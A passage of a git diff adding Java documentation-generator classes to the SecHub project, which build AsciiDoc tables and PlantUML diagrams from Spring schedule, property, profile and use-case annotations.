com.daimler.sechub.docgen.DocAnnotationData; +import com.daimler.sechub.docgen.Generator; +import com.daimler.sechub.docgen.spring.SpringScheduleExtractor.SpringSchedule; +import com.daimler.sechub.docgen.util.AnnotationDataLocationExtractor; +import com.daimler.sechub.docgen.util.ClasspathDataCollector; + +public class ScheduleDescriptionGenerator implements Generator{ + + SpringScheduleExtractor springScheduledExtractor; + AnnotationDataLocationExtractor locationExtractor; + + public ScheduleDescriptionGenerator() { + this.springScheduledExtractor = new SpringScheduleExtractor(); + this.locationExtractor=new AnnotationDataLocationExtractor(); + } + + public String generate(ClasspathDataCollector collector) { + if (collector == null) { + return ""; + } + List list = collector.fetchMustBeDocumentParts(); + if (list == null || list.isEmpty()) { + return ""; + } + StringBuilder sb = new StringBuilder(); + Map> rowMap = new TreeMap<>(); + for (DocAnnotationData data : list) { + if (data.springScheduled == null) { + continue; + } + SpringSchedule extracted = springScheduledExtractor.extract(data.springScheduled); + TableRow row = new TableRow(); + row.scheduleType = extracted.getScheduleType().getText(); + row.scheduleDefinition = extracted.getScheduleDefinition(); + row.description = data.description; + row.location = locationExtractor.extractLocation(data); + + SortedSet rows = rowMap.get(data.scope); + if (rows == null) { + rows = new TreeSet<>(); + rowMap.put(data.scope, rows); + } + rows.add(row); + } + if (rowMap.isEmpty()) { + return ""; + } + for (Map.Entry> entries : rowMap.entrySet()) { + SortedSet table = entries.getValue(); + + sb.append("[options=\"header\",cols=\"1,1,1,1\"]\n"); + sb.append(".").append(buildTitle(entries.getKey())); + sb.append("\n|===\n"); + sb.append("|Type |Definition |Description |Location\n"); + sb.append("//----------------------\n"); + for (TableRow row : table) { + sb.append("|").append(row.scheduleType); + sb.append("|").append(row.scheduleDefinition); + sb.append("|").append(row.description); + sb.append("|").append(row.location); + sb.append("\n"); + } + sb.append("\n|===\n\n"); + } + return sb.toString(); + } + + private String buildTitle(String key) { + return "Scope '" + key + "'"; + } + + private class TableRow implements Comparable { + String scheduleDefinition; + String scheduleType; + String description; + String location; + + @Override + public int compareTo(TableRow o) { + return getScheduleDefinition().compareTo(o.getScheduleDefinition()); + } + + public String getScheduleDefinition() { + if (scheduleDefinition == null) { + return ""; + } + return scheduleDefinition; + } + + private ScheduleDescriptionGenerator getOuterType() { + return ScheduleDescriptionGenerator.this; + } + + @Override + public int hashCode() { + final int prime = 31; + int result = 1; + result = prime * result + getOuterType().hashCode(); + result = prime * result + ((description == null) ? 0 : description.hashCode()); + result = prime * result + ((location == null) ? 0 : location.hashCode()); + result = prime * result + ((scheduleDefinition == null) ? 0 : scheduleDefinition.hashCode()); + result = prime * result + ((scheduleType == null) ? 0 : scheduleType.hashCode()); + return result; + } + + @Override + public boolean equals(Object obj) { + if (this == obj) + return true; + if (obj == null) + return false; + if (getClass() != obj.getClass()) + return false; + TableRow other = (TableRow) obj; + if (!getOuterType().equals(other.getOuterType())) + return false; + if (description == null) { + if (other.description != null) + return false; + } else if (!description.equals(other.description)) + return false; + if (location == null) { + if (other.location != null) + return false; + } else if (!location.equals(other.location)) + return false; + if (scheduleDefinition == null) { + if (other.scheduleDefinition != null) + return false; + } else if (!scheduleDefinition.equals(other.scheduleDefinition)) + return false; + if (scheduleType == null) { + if (other.scheduleType != null) + return false; + } else if (!scheduleType.equals(other.scheduleType)) + return false; + return true; + } + } +} diff --git a/sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringProfilesPlantumlGenerator.java b/sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringProfilesPlantumlGenerator.java new file mode 100644 index 0000000000..7392a21d66 --- /dev/null +++ b/sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringProfilesPlantumlGenerator.java @@ -0,0 +1,191 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen.spring; + +import java.io.File; +import java.io.FilenameFilter; +import java.util.Collections; +import java.util.LinkedHashSet; +import java.util.Set; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.daimler.sechub.docgen.Generator; + +public class SpringProfilesPlantumlGenerator implements Generator { + + static final Logger LOG = LoggerFactory.getLogger(SpringProfilesPlantumlGenerator.class); + + public static void main(String[] args) { + System.out.println(new SpringProfilesPlantumlGenerator().generate(config().filterToProfile("prod").build())); + } + + public static SpringProfileGenoConfigBuilder config() { + return new SpringProfileGenoConfigBuilder(); + } + + public static class SpringProfileGenoConfigBuilder { + private SpringProfileGenoConfig config; + + private SpringProfileGenoConfigBuilder() { + config = new SpringProfileGenoConfig(); + } + + public SpringProfileGenoConfigBuilder withFiles() { + config.withFiles = true; + return this; + } + + public SpringProfileGenoConfigBuilder showLinksToDefaultProfile() { + config.linkingAlwaysToDefaultProfile = true; + return this; + } + + public SpringProfileGenoConfigBuilder filterToProfile(String filterProfile) { + config.filteredProfile=filterProfile; + return this; + } + + public SpringProfileGenoConfigBuilder satelites(String ... satelites) { + for (String satelite: satelites) { + config.sateliteProfiles.add(satelite); + } + return this; + } + + public SpringProfileGenoConfig build() { + return config; + } + } + + public static class SpringProfileGenoConfig { + + private boolean withFiles; + private String filteredProfile; + private boolean linkingAlwaysToDefaultProfile; + private Set sateliteProfiles = new LinkedHashSet<>(); + + private SpringProfileGenoConfig() { + + } + public boolean isWithFiles() { + return withFiles; + } + public boolean isLinkingAlwaysToDefaultProfile() { + return linkingAlwaysToDefaultProfile; + } + /** + * @return profile which shall be generated only - if null its an overview + */ + public String getFilteredProfile() { + return filteredProfile; + } + + public Set getSateliteProfiles() { + return Collections.unmodifiableSet(sateliteProfiles); + } + + + + public boolean isOverviewGeneration() { + return filteredProfile==null; + } + } + + public String generate(SpringProfileGenoConfig config) { + File serverFolder = new File("./sechub-server/"); + if (!serverFolder.exists()) { + /* not gradle but inside IDE: */ + serverFolder = new File("./../sechub-server"); + } + if (!serverFolder.exists()) { + throw new IllegalStateException("not found:" + serverFolder); + } + FilenameFilter filter = new FilenameFilter() { + + @Override + public boolean accept(File dir, String name) { + if (!name.startsWith("application")) { + return false; + } + if (name.endsWith(".properties")) { + return true; + } + if (ListedProfile.isYaml(name)) { + return true; + } + return false; + } + }; + File resourceFolder = new File(serverFolder, "src/main/resources"); + File[] configFiles = resourceFolder.listFiles(filter); + + ListedProfileModel model = new ListedProfileModel(); + for (File configFile : configFiles) { + model.add(configFile); + } + model.calculate(config); + + StringBuilder sb = new StringBuilder(); + createPlantUML(model, sb, config); + + return sb.toString(); + } + + private void createPlantUML(ListedProfileModel model, StringBuilder sb, SpringProfileGenoConfig config) { + appendErrorsAsComment(model, sb); + appendProfilesAsPackages(model, sb, config); + appendLinksBetweenProfiles(model, sb); + } + + private void appendProfilesAsPackages(ListedProfileModel model, StringBuilder sb, SpringProfileGenoConfig config) { + for (ListedProfile profile : model.profiles) { + if (profile.isBaseProfile()) { + appendProfileAsComponent(sb, profile); + sb.append("\n"); + } else { + if (profile.getName().equals(config.getFilteredProfile())) { + sb.append("package <" + profile.getLabel() + ">{\n"); + sb.append(" "); + appendProfileAsComponent(sb, profile); + sb.append("\n"); + sb.append("}\n"); + }else { + appendProfileAsComponent(sb, profile); + sb.append("\n"); + } + if (config.withFiles) { + for (File file : profile.configFiles) { + sb.append(" file \"" + file.getName()).append("\"\n"); + } + } + } + } + } + + private void appendLinksBetweenProfiles(ListedProfileModel model, StringBuilder sb) { + for (ListedProfile profile : model.profiles) { + for (ListedProfile inc : profile.includedProfiles) { + appendProfileAsComponent2(sb, profile); + sb.append(" -> "); + appendProfileAsComponent2(sb, inc); + sb.append("\n"); + } + } + } + + private void appendErrorsAsComment(ListedProfileModel model, StringBuilder sb) { + for (String errorMessage : model.errorMessages) { + sb.append("'ERROR at generation time: ").append(errorMessage).append("\n"); + } + } + + private void appendProfileAsComponent(StringBuilder sb, ListedProfile profile) { + sb.append("node ").append(profile.getLabel()).append(""); + } + + private void appendProfileAsComponent2(StringBuilder sb, ListedProfile profile) { + sb.append("").append(profile.getLabel()).append(""); + } + +} diff --git a/sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java b/sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java new file mode 100644 index 0000000000..f40b4321d5 --- /dev/null +++ b/sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java @@ -0,0 +1,147 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen.spring; + +import org.springframework.scheduling.annotation.Scheduled; +import org.springframework.util.StringUtils; + +import com.daimler.sechub.docgen.spring.SpringValueExtractor.SpringValue; + +public class SpringScheduleExtractor { + public enum ScheduleType { + UNDEFINED("Undefined"), + + CRON("Cron"), + + FIXED("Fixed"), + + ; + + private String text; + + public String getText() { + return text; + } + + ScheduleType(String text) { + this.text = text; + } + } + + private SpringValueExtractor valueExtractor; + + SpringValueExtractor getValueExtractor() { + if (valueExtractor==null) { + valueExtractor=new SpringValueExtractor(); + } + return valueExtractor; + } + + public class SpringSchedule { + + private String scheduleDefinition = ""; + private ScheduleType scheduleType; + private String scheduleKey; + private String scheduleDefaultValue; + + public String getScheduleDefaultValue() { + return scheduleDefaultValue; + } + + public String getScheduleDefinition() { + return scheduleDefinition; + } + + public String getScheduleKey() { + return scheduleKey; + } + + public ScheduleType getScheduleType() { + if (scheduleType == null) { + scheduleType = ScheduleType.UNDEFINED; + } + return scheduleType; + } + } + + public SpringSchedule extract(Scheduled springScheduled) { + SpringSchedule data = extractSimpleString(springScheduled); + if (getValueExtractor().isSpringValue(data.scheduleDefinition)) { + SpringValue extracted = getValueExtractor().extract(data.scheduleDefinition); + data.scheduleDefinition= extracted.toDescription(); + data.scheduleKey=extracted.getKey(); + data.scheduleDefaultValue=extracted.getDefaultValue(); + } + return data; + } + + private SpringSchedule extractSimpleString(Scheduled springScheduled) { + SpringSchedule result = new SpringSchedule(); + if (springScheduled == null) { + return result; + } + /* +-----------------------------------------------------------------------+ */ + /* +............................ CRON .....................................+ */ + /* +-----------------------------------------------------------------------+ */ + String cron = springScheduled.cron(); + if (!StringUtils.isEmpty(cron)) { + result.scheduleType = ScheduleType.CRON; + result.scheduleDefinition = cron; + return result; + } + /* +-----------------------------------------------------------------------+ */ + /* +............................ FIXED ...................................+ */ + /* +-----------------------------------------------------------------------+ */ + StringBuilder sb = new StringBuilder(); + appendInitialDelay(springScheduled, sb); + appendFixedDelay(springScheduled, sb); + appendFixedRate(springScheduled, sb); + + String fixed = sb.toString().trim(); + + if (StringUtils.isEmpty(fixed)) { + /* no fixed data available - so just return - type is UNDEFINED */ + result.scheduleType = ScheduleType.UNDEFINED; + return result; + } + result.scheduleType = ScheduleType.FIXED; + result.scheduleDefinition = fixed; + return result; + } + + private void appendFixedDelay(Scheduled springScheduled, StringBuilder sb) { + String fixedDelayString = springScheduled.fixedDelayString(); + if (StringUtils.isEmpty(fixedDelayString)) { + long fixedDelay = springScheduled.fixedDelay(); + if (fixedDelay != -1) { + fixedDelayString = String.valueOf(fixedDelay); + } + } + if (!StringUtils.isEmpty(fixedDelayString)) { + sb.append("fixed delay:").append(fixedDelayString).append(" "); + } + } + private void appendFixedRate(Scheduled springScheduled, StringBuilder sb) { + String fixedRateString = springScheduled.fixedRateString(); + if (StringUtils.isEmpty(fixedRateString)) { + long fixedRate = springScheduled.fixedRate(); + if (fixedRate != -1) { + fixedRateString = String.valueOf(fixedRate); + } + } + if (!StringUtils.isEmpty(fixedRateString)) { + sb.append("fixed rate:").append(fixedRateString).append(" "); + } + } + private void appendInitialDelay(Scheduled springScheduled, StringBuilder sb) { + String initialDelayString = springScheduled.initialDelayString(); + if (StringUtils.isEmpty(initialDelayString)) { + long initialDelay = springScheduled.initialDelay(); + if (initialDelay != -1) { + initialDelayString = String.valueOf(initialDelay); + } + } + if (!StringUtils.isEmpty(initialDelayString)) { + sb.append("initial delay:").append(initialDelayString).append(" "); + } + } +} diff --git a/sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java b/sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java new file mode 100644 index 0000000000..38cb1aef22 --- /dev/null +++ b/sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java @@ -0,0 +1,88 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen.spring; + +import org.springframework.util.StringUtils; + +public class SpringValueExtractor { + + public class SpringValue{ + private String key=""; + private String defaultValue; + + public String getKey() { + return key; + } + public boolean hasDefaultValue() { + return defaultValue!=null; + } + /** + * Returns default value + * @return default value or empty string if not defined + */ + public String getDefaultValue() { + if (defaultValue==null) { + return ""; + } + return defaultValue; + } + + public String toDescription() { + StringBuilder sb = new StringBuilder(); + sb.append("Key:").append(key); + sb.append(", "); + if (defaultValue!=null) { + sb.append("per default:").append(defaultValue); + }else { + sb.append("no default set so must be defined"); + } + return sb.toString(); + } + + @Override + public String toString() { + return "SpringValue [key=" + key + ", defaultValue=" + defaultValue + "]"; + } + } + + public SpringValue extract(String string) { + SpringValue value = new SpringValue(); + if (string==null) { + return value; + } + String[] splitted = string.split("\\$\\{"); + String firstNotEmpty=null; + for (String split: splitted) { + if (! StringUtils.isEmpty(split)) { + firstNotEmpty=split.trim(); + if (firstNotEmpty.length()>1 && firstNotEmpty.endsWith("}")) { + firstNotEmpty=firstNotEmpty.substring(0,firstNotEmpty.length()-1); + } + break; + } + } + if (firstNotEmpty==null) { + value.key=string; + return value; + } + + int leftIndex = firstNotEmpty.indexOf(":"); + if (leftIndex==-1) { + value.key=firstNotEmpty; + return value; + } + value.key= firstNotEmpty.substring(0,leftIndex); + + int startRight = leftIndex+1; + if (firstNotEmpty.length()>startRight) { + value.defaultValue=firstNotEmpty.substring(startRight); + } + return value; + } + + public boolean isSpringValue(String string) { + if (StringUtils.isEmpty(string)) { + return false; + } + return (string.startsWith("${") && string.endsWith("}")); + } +} diff --git a/sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueFilter.java b/sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueFilter.java new file mode 100644 index 0000000000..c646e4bb3c --- /dev/null +++ b/sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SpringValueFilter.java @@ -0,0 +1,18 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen.spring; + +import com.daimler.sechub.docgen.spring.SpringValueExtractor.SpringValue; + +public interface SpringValueFilter{ + boolean isFiltered(SpringValue data); + + public static class AcceptAllSpringValueFilter implements SpringValueFilter{ + + public static final SpringValueFilter.AcceptAllSpringValueFilter INSTANCE = new AcceptAllSpringValueFilter(); + private AcceptAllSpringValueFilter() {}; + + public boolean isFiltered(SpringValue data) { + return false; + } + } +} \ No newline at end of file diff --git a/sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java b/sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java new file mode 100644 index 0000000000..af889bab1e --- /dev/null +++ b/sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SystemPropertiesDescriptionGenerator.java @@ -0,0 +1,148 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen.spring; + +import java.util.List; +import java.util.Map; +import java.util.SortedSet; +import java.util.TreeMap; +import java.util.TreeSet; + +import org.springframework.util.StringUtils; + +import com.daimler.sechub.docgen.DocAnnotationData; +import com.daimler.sechub.docgen.Generator; +import com.daimler.sechub.docgen.spring.SpringValueExtractor.SpringValue; +import com.daimler.sechub.docgen.spring.SpringValueFilter.AcceptAllSpringValueFilter; + +public class SystemPropertiesDescriptionGenerator implements Generator { + + SpringValueExtractor springValueExtractor; + + public SystemPropertiesDescriptionGenerator() { + this.springValueExtractor = new SpringValueExtractor(); + } + + public String generate(List list) { + return generate(list, AcceptAllSpringValueFilter.INSTANCE); + } + + public String generate(List list, SpringValueFilter filter) { + if (list == null || list.isEmpty()) { + return ""; + } + StringBuilder sb = new StringBuilder(); + Map> rowMap = new TreeMap<>(); + for (DocAnnotationData data : list) { + if (StringUtils.isEmpty(data.springValue)) { + continue; + } + SpringValue extracted = springValueExtractor.extract(data.springValue); + if (filter.isFiltered(extracted)) { + continue; + } + TableRow row = new TableRow(); + row.defaultValue = extracted.getDefaultValue(); + row.hasDefaultValue = extracted.hasDefaultValue(); + row.propertyKey = extracted.getKey(); + row.description = data.description; + + SortedSet rows = rowMap.get(data.scope); + if (rows == null) { + rows = new TreeSet<>(); + rowMap.put(data.scope, rows); + } + rows.add(row); + } + if (rowMap.isEmpty()) { + return ""; + } + appendStringContent(sb, rowMap); + return sb.toString(); + } + + protected void appendStringContent(StringBuilder sb, Map> rowMap) { + for (Map.Entry> entries : rowMap.entrySet()) { + SortedSet table = entries.getValue(); + + sb.append("[options=\"header\",cols=\"1,1,1\"]\n"); + sb.append(".").append(buildTitle(entries.getKey())); + sb.append("\n|===\n"); + sb.append("|Key |Default |Description \n"); + sb.append("//----------------------\n"); + for (TableRow row : table) { + sb.append("|").append(row.propertyKey); + sb.append("|").append(row.defaultValue); + sb.append("|").append(row.description); + sb.append("\n"); + } + sb.append("\n|===\n\n"); + } + } + + private String buildTitle(String key) { + return "Scope '" + key + "'"; + } + + class TableRow implements Comparable { + String propertyKey; + String defaultValue; + String description; + boolean hasDefaultValue; + + @Override + public int compareTo(TableRow o) { + return getPropertyKey().compareTo(o.getPropertyKey()); + } + + public String getPropertyKey() { + if (propertyKey == null) { + return ""; + } + return propertyKey; + } + + @Override + public int hashCode() { + final int prime = 31; + int result = 1; + result = prime * result + getOuterType().hashCode(); + result = prime * result + ((defaultValue == null) ? 0 : defaultValue.hashCode()); + result = prime * result + ((description == null) ? 0 : description.hashCode()); + result = prime * result + ((propertyKey == null) ? 0 : propertyKey.hashCode()); + return result; + } + + @Override + public boolean equals(Object obj) { + if (this == obj) + return true; + if (obj == null) + return false; + if (getClass() != obj.getClass()) + return false; + TableRow other = (TableRow) obj; + if (!getOuterType().equals(other.getOuterType())) + return false; + if (defaultValue == null) { + if (other.defaultValue != null) + return false; + } else if (!defaultValue.equals(other.defaultValue)) + return false; + if (description == null) { + if (other.description != null) + return false; + } else if (!description.equals(other.description)) + return false; + if (propertyKey == null) { + if (other.propertyKey != null) + return false; + } else if (!propertyKey.equals(other.propertyKey)) + return false; + return true; + } + + private SystemPropertiesDescriptionGenerator getOuterType() { + return SystemPropertiesDescriptionGenerator.this; + } + } +} diff --git a/sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SystemPropertiesJavaLaunchExampleGenerator.java b/sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SystemPropertiesJavaLaunchExampleGenerator.java new file mode 100644 index 0000000000..848e0465eb --- /dev/null +++ b/sechub-doc/src/main/java/com/daimler/sechub/docgen/spring/SystemPropertiesJavaLaunchExampleGenerator.java @@ -0,0 +1,50 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen.spring; + +import java.util.Map; +import java.util.SortedSet; + +import com.daimler.sechub.docgen.Generator; +import com.daimler.sechub.sharedkernel.Profiles; + +public class SystemPropertiesJavaLaunchExampleGenerator extends SystemPropertiesDescriptionGenerator + implements Generator { + + @Override + protected void appendStringContent(StringBuilder sb, Map> rowMap) { + sb.append("\nTIP: Next lines will show java launcher properties which MUST be set because"); + sb.append("\n there are no defaults defined. You have to define those values when not"); + sb.append("\n starting in mock or test mode! The example her is generated and will"); + sb.append("\n always show the current necessary parts."); + sb.append("\n----"); + sb.append("\n-Dspring.profiles.active="+Profiles.DEV+",postgres,real_products"); + for (Map.Entry> entries : rowMap.entrySet()) { + SortedSet table = entries.getValue(); + + for (TableRow row : table) { + if (! row.hasDefaultValue) { + sb.append("\n-D").append(row.propertyKey).append("=value"); + } + } + } + sb.append("\n----"); + + sb.append("\nTIP: Instead of java system properties you can also define environment entries"); + sb.append("\n at your launch configuration or your shell and reduce parameter hell:"); + sb.append("\n----"); + sb.append("\nexport SPRING_PROFILES_ACTIVE="+Profiles.DEV+",postgres,real_products"); + for (Map.Entry> entries : rowMap.entrySet()) { + SortedSet table = entries.getValue(); + + for (TableRow row : table) { + if (! row.hasDefaultValue) { + String envEntryName = row.propertyKey.toUpperCase(); + envEntryName = envEntryName.replaceAll("\\.", "_"); + sb.append("\nexport ").append(envEntryName).append("=value"); + } + } + } + sb.append("\n----"); + } + +} diff --git a/sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseAsciiDocFactory.java b/sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseAsciiDocFactory.java new file mode 100644 index 0000000000..568c6a6f17 --- /dev/null +++ b/sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseAsciiDocFactory.java @@ -0,0 +1,52 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen.usecase; + +import com.daimler.sechub.docgen.usecase.UseCaseModel.UseCaseEntry; + +public class UseCaseAsciiDocFactory { + + private UseCaseAsciiDocFactory() { + + } + + public static String createLinkId(UseCaseEntry entry) { + return "section-usecase-"+entry.getId(); + } + + public static String createLinkId(UseCaseRestDocEntry entry) { + return "section-ucrestdoc-" + entry.usecaseEntry.getId() + "-" + entry.variant; + } + + public static String createLinkIdToUseCaseRestDoc(UseCaseEntry entry) { + return "section-ucrestdoc-uc-" + entry.getId(); + } + + public static String createAnker(UseCaseEntry entry) { + return "[["+createLinkId(entry)+"]]"; + } + + public static String createAnkerUseCaseRestDoc(UseCaseEntry useCase) { + return "[[" + createLinkIdToUseCaseRestDoc(useCase) + "]]"; + } + + public static String createAnker(UseCaseRestDocEntry entry) { + return "[[" + createLinkId(entry) + "]]"; + } + + public static String createLinkToUseCase(UseCaseEntry entry) { + return "<<" + createLinkId(entry)+"," + entry.getId()+"-"+entry.getTitle()+" >>"; + } + + public static String createLinkToUseCase(UseCaseRestDocEntry entry) { + return createLinkToUseCase(entry.usecaseEntry); + } + + public static String createLinkToUseCaseRestDoc(UseCaseRestDocEntry docEntry) { + UseCaseEntry entry = docEntry.usecaseEntry; + return createLinkToUseCaseRestDoc(entry,"REST API documentation for usecase "+ entry.getId()+"-"+entry.getTitle()); + } + public static String createLinkToUseCaseRestDoc(UseCaseEntry entry, String label) { + return "<<"+createLinkIdToUseCaseRestDoc(entry)+","+label+" >>"; + } + +} diff --git a/sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseModel.java b/sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseModel.java new file mode 100644 index 0000000000..fd0f9d4f71 --- /dev/null +++ b/sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseModel.java @@ -0,0 +1,295 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen.usecase; + +import static com.daimler.sechub.docgen.GeneratorConstants.*; + +import java.lang.annotation.Annotation; +import java.util.ArrayList; +import java.util.LinkedHashSet; +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.SortedSet; +import java.util.TreeMap; +import java.util.TreeSet; + +import javax.annotation.security.RolesAllowed; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.daimler.sechub.docgen.util.DocReflectionUtil; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.UseCaseDefinition; +import com.daimler.sechub.sharedkernel.usecases.UseCaseGroup; +import com.daimler.sechub.sharedkernel.usecases.UseCaseIdentifier; + +public class UseCaseModel { + + private static final Logger LOG = LoggerFactory.getLogger(UseCaseModel.class); + + Map useCases = new TreeMap<>(); + private String pathToUseCaseBaseFolder; + + public UseCaseModel(String pathToUseCaseBaseFolder) { + this.pathToUseCaseBaseFolder = pathToUseCaseBaseFolder; + } + + public SortedSet getUseCases() { + return new TreeSet<>(useCases.values()); + } + + public class UseCaseEntry implements Comparable { + + private String id; + private String title; + private String description; + private List steps = new ArrayList<>(); + private String annotationName; + private UseCaseGroup[] groups; + private String idEnumName; + private Set restDocEntries = new LinkedHashSet<>(); + + + public UseCaseEntry(UseCaseGroup[] groups) { + this.groups=groups; + } + public Set getRestDocEntries() { + return restDocEntries; + } + public UseCaseGroup[] getGroups() { + return groups; + } + + public String getAnnotationName() { + return annotationName; + } + + public List getSteps() { + return steps; + } + + @Override + public int compareTo(UseCaseEntry o) { + return id.compareTo(o.id); + } + + public String getIdentifierEnumName() { + return idEnumName; + } + + public String getId() { + return id; + } + + public String getTitle() { + return title; + } + + public String getDescription() { + return description; + } + + @Override + public int hashCode() { + final int prime = 31; + int result = 1; + result = prime * result + ((id == null) ? 0 : id.hashCode()); + return result; + } + + @Override + public boolean equals(Object obj) { + if (this == obj) + return true; + if (obj == null) + return false; + if (getClass() != obj.getClass()) + return false; + UseCaseEntry other = (UseCaseEntry) obj; + if (id == null) { + if (other.id != null) + return false; + } else if (!id.equals(other.id)) { + return false; + } + return true; + } + + public class UseCaseEntryStep implements Comparable { + private String title; + + private String description; + + private SortedSet rolesAllowed = new TreeSet<>(); + + private int number; + + private int[] next; + + private String location; + + public String getLocation() { + return location; + } + + public Set getRolesAllowed() { + return rolesAllowed; + } + + public String getTitle() { + return title; + } + + public String getDescription() { + return description; + } + + @Override + public int compareTo(UseCaseEntryStep o) { + return number - o.number; + } + + public int getNumber() { + return number; + } + + @Override + public int hashCode() { + final int prime = 31; + int result = 1; + result = prime * result + getOuterType().hashCode(); + result = prime * result + number; + result = prime * result + ((title == null) ? 0 : title.hashCode()); + return result; + } + + @Override + public boolean equals(Object obj) { + if (this == obj) + return true; + if (obj == null) + return false; + if (getClass() != obj.getClass()) + return false; + UseCaseEntryStep other = (UseCaseEntryStep) obj; + if (!getOuterType().equals(other.getOuterType())) + return false; + if (number != other.number) + return false; + if (title == null) { + if (other.title != null) + return false; + } else if (!title.equals(other.title)) { + return false; + } + return true; + } + + private UseCaseEntry getOuterType() { + return UseCaseEntry.this; + } + + public int[] getNext() { + return next; + } + + } + + public void addStep(Step step, List rolesAllowedList, String location) { + UseCaseEntryStep entryStep = new UseCaseEntryStep(); + entryStep.title = step.name(); + entryStep.number = step.number(); + entryStep.next = step.next(); + String stepDescription = step.description(); + if (stepDescription.endsWith(".adoc")) { + entryStep.description = createIncludeOfUseCaseAsciiDocFile(stepDescription); + } else { + entryStep.description = stepDescription; + } + if (rolesAllowedList != null) { + List roleStringList = new ArrayList<>(); + for (RolesAllowed ra : rolesAllowedList) { + String[] allowedRolesStringArray = ra.value(); + for (String role: allowedRolesStringArray) { + if (role!=null) { + roleStringList.add(role); + } + } + } + entryStep.rolesAllowed.addAll(roleStringList); + } + entryStep.location = location; + steps.add(entryStep); + } + public void addLinkToRestDoc(UseCaseRestDocEntry restDocEntry) { + restDocEntries.add(restDocEntry); + } + + } + + public UseCaseEntry ensureUseCase(final Class clazz) { + Class clazzToFetch = DocReflectionUtil.resolveUnproxiedClass(clazz); + /* NOSONAR */return useCases.computeIfAbsent(fetchId(clazz).uniqueId(), name -> createEntry(clazzToFetch)); + } + + private UseCaseEntry createEntry(Class clazz) { + if (DEBUG) { + LOG.info("create entry:{}", clazz); + } + UseCaseIdentifier id = fetchId(clazz); + UseCaseGroup[] groups = fetchGroups(clazz); + + UseCaseEntry entry = new UseCaseEntry(groups); + Class clazzToFetch = DocReflectionUtil.resolveUnproxiedClass(clazz); + UseCaseDefinition definition = clazzToFetch.getAnnotation(UseCaseDefinition.class); + entry.id = id.uniqueId(); + entry.idEnumName=id.name(); + entry.title = definition.title(); + entry.annotationName = clazzToFetch.getName(); + String description = definition.description(); + if (description.endsWith(".adoc")) { + entry.description = createIncludeOfUseCaseAsciiDocFile(description); + } else { + entry.description = description; + } + return entry; + + } + + private UseCaseGroup[] fetchGroups(Class clazz) { + Class clazzToFetch = DocReflectionUtil.resolveUnproxiedClass(clazz); + UseCaseDefinition definition = clazzToFetch.getAnnotation(UseCaseDefinition.class); + if (definition == null) { + return new UseCaseGroup[] {}; + } + return definition.group(); + } + + private String createIncludeOfUseCaseAsciiDocFile(String name) { + return "include::" + pathToUseCaseBaseFolder + "/" + name + "[]"; + } + + private UseCaseIdentifier fetchId(Class clazz) { + Class clazzToFetch = DocReflectionUtil.resolveUnproxiedClass(clazz); + UseCaseDefinition definition = clazzToFetch.getAnnotation(UseCaseDefinition.class); + if (definition == null) { + throw new IllegalStateException("cannot fetch id from "+clazz); + } + return definition.id(); + } + + public SortedSet getUseCasesInsideGroup(UseCaseGroup wantedGroup) { + SortedSet entries = new TreeSet<>(); + SortedSet all = getUseCases(); + for (UseCaseEntry entry:all) { + for (UseCaseGroup group: entry.getGroups()) { + if (group==wantedGroup) { + entries.add(entry); + break; + } + } + } + return entries; + } +} diff --git a/sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseModelAsciiDocGenerator.java b/sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseModelAsciiDocGenerator.java new file mode 100644 index 0000000000..72be2d89f5 --- /dev/null +++ b/sechub-doc/src/main/java/com/daimler/sechub/docgen/usecase/UseCaseModelAsciiDocGenerator.java @@ -0,0 +1,199 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen.usecase; + +import java.util.Collections; +import java.util.Iterator; +import java.util.List; +import java.util.Set; +import java.util.SortedSet; + +import com.daimler.sechub.docgen.usecase.UseCaseModel.UseCaseEntry; +import com.daimler.sechub.docgen.usecase.UseCaseModel.UseCaseEntry.UseCaseEntryStep; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.UseCaseGroup; + +public class UseCaseModelAsciiDocGenerator { + + // [options="header",cols="1,1,1"] + // |=== + // |HeadA |HeadB |HeadC + // //---------------------- + // |Row1A |Row1B |Row1C + // |Row2A |Row2B |Row2Cs + // |Row3A 